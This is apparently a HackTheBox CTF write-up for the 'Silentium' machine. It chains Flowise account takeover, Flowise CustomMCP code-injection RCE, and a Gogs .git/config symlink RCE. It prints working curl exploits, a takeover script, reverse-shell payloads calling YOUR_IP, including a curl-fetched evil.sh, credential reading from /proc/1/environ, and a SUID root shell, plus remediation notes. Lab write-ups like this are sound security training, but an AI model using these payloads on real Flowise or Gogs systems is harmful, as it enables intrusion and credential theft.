Overview
Silentium is a Easy-difficulty HackTheBox Season 10 Linux machine that weaponises two real-world critical vulnerabilities in the Flowise AI workflow platform and a third in the Gogs self-hosted Git service. The attack surface is deceptively quiet from the outside -a plain corporate website on the root domain - but enumeration surfaces a staging subdomain hosting Flowise 3.0.5, and from that point the exploitation chain flows without pause.
The full path:
- Recon — Nmap scan + virtual-host enumeration reveals
staging.silentium.htb(Flowise 3.0.5) - User enumeration - The main site leaks
ben@silentium.htb - CVE-2025-58434 - Unauthenticated password-reset token disclosure → account takeover
- CVE-2025-59528 - Flowise CustomMCP JavaScript code injection → reverse shell inside Docker
- Credential harvesting - SSH password extracted from Docker environment variables via
/proc/1/environ - User flag - SSH as
ben→user.txt - CVE-2025-64111 - Gogs 0.13.3 symlink bypass →
.git/configpoisoning →sshCommandRCE as root - Root flag -
/tmp/rootbash -p→root.txt
Environment Setup
Add the following entries to /etc/hosts:
10.10.11.XXX silentium.htb staging.silentium.htb
Reconnaissance
Nmap
nmap -sC -sV -oA silentium 10.10.11.XXX

Relevant open ports:
| Port | Service | Version |
|---|---|---|
| 22 | SSH | OpenSSH 9.x |
| 80 | HTTP | nginx (silentium.htb) |
Port 80 serves a static corporate landing page. Nothing interesting in the source beyond a contact form and a mention of staff names.

Virtual Host Enumeration
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-u http://silentium.htb -H "Host: FUZZ.silentium.htb" \
-fw 18
This returns staging as a hit. Add staging.silentium.htb to /etc/hosts and visit it in the browser - you are greeted by a Flowise 3.0.5 instance.
Username Enumeration
Browse http://silentium.htb/ and read the team section. The developer profile reveals the email address ben@silentium.htb, which becomes the target for the first CVE.
Foothold - CVE-2025-58434: Flowise Account Takeover
Vulnerability Background
CVE-2025-58434 is a CVSS 9.8 Critical unauthenticated information disclosure vulnerability in Flowise versions ≤ 3.0.5. The /api/v1/account/forgot-password endpoint responds to any unauthenticated request with a full JSON payload containing the target account’s user ID, hashed credentials, and - most critically - a valid password-reset tempToken. No email is sent; the token is simply returned in the HTTP response body. An attacker who knows a valid email address can chain an immediate call to /api/v1/account/reset-password to set an arbitrary password and fully take over the account.
Step 1 - Request the Password Reset Token
curl -s -X POST http://staging.silentium.htb/api/v1/account/forgot-password \
-H "Content-Type: application/json" \
-H "x-request-from: internal" \
-d '{"user":{"email":"ben@silentium.htb"}}' | jq .
The response leaks the tempToken directly:
{
"user": {
"id": "...",
"name": "Ben",
"email": "ben@silentium.htb",
"tempToken": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
"tokenExpiry": "2026-04-14T...",
"status": "active"
}
}

Step 2 - Reset the Password
curl -s -X POST http://staging.silentium.htb/api/v1/account/reset-password \
-H "Content-Type: application/json" \
-H "x-request-from: internal" \
-d '{
"user": {
"email": "ben@silentium.htb",
"tempToken": "<TEMP_TOKEN_FROM_ABOVE>",
"password": "Password@123"
}
}' | jq .
A 201 response confirms the password was changed. You can now log into the Flowise dashboard at http://staging.silentium.htb with ben@silentium.htb : Password@123.
Grabbing the API Key
Log in to the Flowise UI and navigate to http://staging.silentium.htb/apikey. This page lists the platform’s API Bearer token - a separate credential from the JWT session cookie. The RCE exploit in the next step requires this API key, not the session JWT. Copy the key labelled DefaultKey (or generate a fresh one).
Common gotcha: Many people attempt the CVE-2025-59528 request with the JWT session cookie (
-H "Cookie: token=$JWT"). This returnsUnauthorized Access. You must use the API key in anAuthorization: Bearerheader.
Automated Script
This mini_automate.py script chains all three steps (forgot-password → reset-password → login + RCE) automatically:
import requests, json
base_url = "http://staging.silentium.htb"
s = requests.Session()
def forgot_password():
data = {"user": {"email": "ben@silentium.htb"}}
headers = {"Content-Type": "application/json", "x-request-from": "internal"}
res = s.post(base_url + "/api/v1/account/forgot-password",
json=data, headers=headers)
global json_data
json_data = res.json()
print(f"[+] tempToken: {json_data['user']['tempToken']}")
def reset_password():
data = {"user": {"email": "ben@silentium.htb",
"tempToken": json_data['user']['tempToken'],
"password": "Password@123"}}
headers = {"Content-Type": "application/json", "x-request-from": "internal"}
s.post(base_url + "/api/v1/account/reset-password",
json=data, headers=headers)
forgot_password()
reset_password()
Initial Shell - CVE-2025-59528: Flowise CustomMCP JavaScript RCE
Vulnerability Background
CVE-2025-59528 is a CVSS 10.0 Critical remote code execution vulnerability affecting Flowise versions ≥ 2.2.7-patch.1 and < 3.0.6. The root cause is inside CustomMCP.ts -the convertToValidJSONString function passes the user-supplied mcpServerConfig value directly into JavaScript’s Function() constructor, which is functionally equivalent to eval(). Because Flowise runs as a Node.js application, injected code executes with full Node.js runtime privileges and has unrestricted access to built-in modules including child_process. An API key is the only prerequisite. When authentication is not configured, the endpoint is exploitable without any credentials at all - a deployment pattern VulnCheck identified on roughly 12,000 to 15,000 internet-facing instances as of April 2026, with active in-the-wild exploitation beginning April 7, 2026.
Crafting the Payload
The trick to reliable payload delivery is understanding the three layers of escaping required simultaneously: the outer JSON string, the inner JavaScript string literal, and the shell command within execSync. Using a simple netcat one-liner is the cleanest approach — no Python or bash escaping nightmares.
Start a listener:
nc -lvnp 4444 or penelope
Send the exploit:
API_KEY="<KEY_FROM_/apikey>"
curl -s -X POST http://staging.silentium.htb/api/v1/node-load-method/customMCP \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $API_KEY" \
-d '{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "({x:(function(){const cp = process.mainModule.require(\"child_process\");cp.execSync(\"nc YOUR_IP 4444 -e sh\");return 1;})()})"
}
}'
If nc -e is unavailable (the container ships busybox’s netcat), use the mkfifo approach:
curl -s -X POST http://staging.silentium.htb/api/v1/node-load-method/customMCP \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $API_KEY" \
-d '{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.execSync(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc YOUR_IP 4444 >/tmp/f\");return 1;})()})"}}'
Alternatively, write a script to your attacker box and fetch-execute it:
# On attacker
echo '#!/bin/sh\nrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc YOUR_IP 4444 >/tmp/f' > evil.sh
python3 -m http.server 8080
# In the payload
cp.execSync("curl http://YOUR_IP:8080/evil.sh|sh")
A shell callback arrives from inside the Flowise Docker container running as a low-privilege service user.
Metasploit Alternative
For those who prefer Metasploit, the exploit/multi/http/flowise_js_rce module handles the full chain:
use exploit/multi/http/flowise_js_rce
set RHOSTS <MACHINE_IP>
set RPORT 80
set VHOST staging.silentium.htb
set FLOWISE_EMAIL ben@silentium.htb
set FLOWISE_PASSWORD Password@123
set LHOST tun0
set LPORT 4444
run
Lateral Movement — SSH Credentials via Docker Environment
Inside the container, points to /proc/1/environ. Docker containers frequently inherit secrets through environment variables - database passwords, API keys, and SSH credentials among them. Read the process environment:
cat /proc/1/environ | tr '\0' '\n'
Among the output you will find variables along the lines of:
BEN_SSH_PASSWORD=<ben_password>
or stored under a similar convention. Grab that value and SSH to the host machine:
ssh ben@10.10.11.XXX
User Flag
cat ~/user.txt

Privilege Escalation - CVE-2025-64111: Gogs Symlink → .git/config RCE
Service Discovery
Check listening services on the machine:
ss -tuln
Port 3001 is bound to localhost. This is Gogs, a self-hosted Git service. Confirm the version:
/opt/gogs/gogs/gogs --version
# Gogs version 0.13.3
Gogs 0.13.3 is vulnerable to CVE-2025-64111.
Set Up an SSH Tunnel
Forward port 3001 to your attacker machine to interact with the Gogs web interface:
ssh -L 3001:127.0.0.1:3001 ben@10.10.11.XXX
Browse to http://localhost:3001 - a Gogs instance with open registration enabled.

Vulnerability Background
CVE-2025-64111 (CVSS 9.3) is an OS command injection vulnerability affecting Gogs ≤ 0.13.3. It is a bypass of an incomplete patch for CVE-2024-56731. The UpdateRepoFile function in the API router skips the security checks that the web router enforces, making it possible to write arbitrary content to files within the .git directory - most usefully .git/config. An attacker creates a symlink inside a repository pointing to .git/config, commits and pushes it, and then uses the repository PUT Contents API to overwrite .git/config through the symlink with a malicious core.sshCommand entry. The next Git SSH operation (e.g. cloning over SSH) triggers the injected command as the user running the Gogs daemon, which in this environment is root.
Step-by-Step Exploitation
1. Register an account and create a repository
Register a throwaway account at http://localhost:3001/user/sign_up and create an initialised repository (tick Initialize Repository):
Username: havoc
Password: havoc1234!
Repository name: pwned
2. Get an API token
Navigate to Settings → Applications → Generate Token. Copy the token.
3. Clone the repository
git clone http://havoc:havoc1234\!@localhost:3001/havoc/pwned.git
cd pwned
4. Create and push the symlink
ln -s .git/config malicious_link
git add malicious_link
git commit -m "add symlink"
git push
5. Craft the malicious .git/config payload
Prepare a git config that injects a reverse shell via core.sshCommand:
LHOST="YOUR_IP"
LPORT="5555"
PAYLOAD=$(cat <<'EOF'
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
sshCommand = bash -c 'bash -i >& /dev/tcp/YOUR_IP/5555 0>&1' #
EOF
)
ENCODED=$(echo -n "$PAYLOAD" | base64 -w 0)
TOKEN="<YOUR_GOGS_API_TOKEN>"
curl -s -X PUT "http://localhost:3001/api/v1/repos/haxor/pwned/contents/malicious_link" \
-H "Authorization: token $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"message\":\"exploit\",\"content\":\"$ENCODED\"}"
Tip: Replace
YOUR_IPandYOUR_IP/5555in the PAYLOAD heredoc before running.
6. Start your listener
nc -lvnp 5555 or penelope -p 5555

7. Trigger the SSH clone to execute the hook
GIT_SSH_COMMAND="ssh -o StrictHostKeyChecking=no" \
git clone ssh://git@localhost:3001/havoc/pwned.git /tmp/trigger
The core.sshCommand in the poisoned .git/config fires when the Gogs daemon handles the SSH session, executing your reverse shell payload as root.
SUID Root Shell (Alternative Trigger)
The box also supports escalating via a pre-planted SUID binary. Once RCE fires as root, drop a root bash copy:
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
Then from the ben user session:
/tmp/rootbash -p
Root Flag
cat /root/root.txt


CVE Reference Table
| CVE | CVSS | Affected | Description |
|---|---|---|---|
| CVE-2025-58434 | 9.8 Critical | Flowise ≤ 3.0.5 | Unauthenticated password-reset token disclosure leading to full account takeover |
| CVE-2025-59528 | 10.0 Critical | Flowise 2.2.7-patch.1 to 3.0.5 | CustomMCP JavaScript code injection via Function() constructor → RCE with Node.js runtime privileges |
| CVE-2025-64111 | 9.3 Critical | Gogs ≤ 0.13.3 | Insufficient patch for CVE-2024-56731 - .git/config overwrite via symlink + PUT API → core.sshCommand RCE |
Remediation
Flowise (CVE-2025-58434 & CVE-2025-59528): Upgrade to Flowise 3.0.6 or later. The patch (commit 9e178d6) applies sanitizeUser to the password-reset response and removes the unsafe Function() constructor call from convertToValidJSONString.
Gogs (CVE-2025-64111): Upgrade to Gogs 0.13.4 or 0.14.0+dev. If immediate patching is not possible, disable open registration and restrict network access to the Gogs instance. Scan all repository .git/config files for unexpected sshCommand or core.editor entries.
Key Takeaways
The most common failure point players hit on this box was authenticating to the CVE-2025-59528 endpoint with the JWT session cookie instead of the Flowise API key. The JWT cookie authenticates the browser session; the API endpoint requires the separate API key visible at /apikey. Keeping that distinction clear makes the difference between Unauthorized Access and a shell.
The privilege escalation via Gogs is a textbook example of why incomplete patches are dangerous. CVE-2024-56731 was patched for the web router but the security check was never applied to the API router’s UpdateRepoFile path, leaving an entire code path unguarded. The symlink technique is conceptually simple - point a tracked file at .git/config, then overwrite it through the symlink via the API - but the execution requires understanding Gogs’s file-handling logic at the API level.
One more operational note: always inspect /proc/1/environ when landing in a Docker container. Credentials injected as environment variables at container start time persist in the process table for the entire container lifetime and are trivially readable by the container’s own processes.
Comments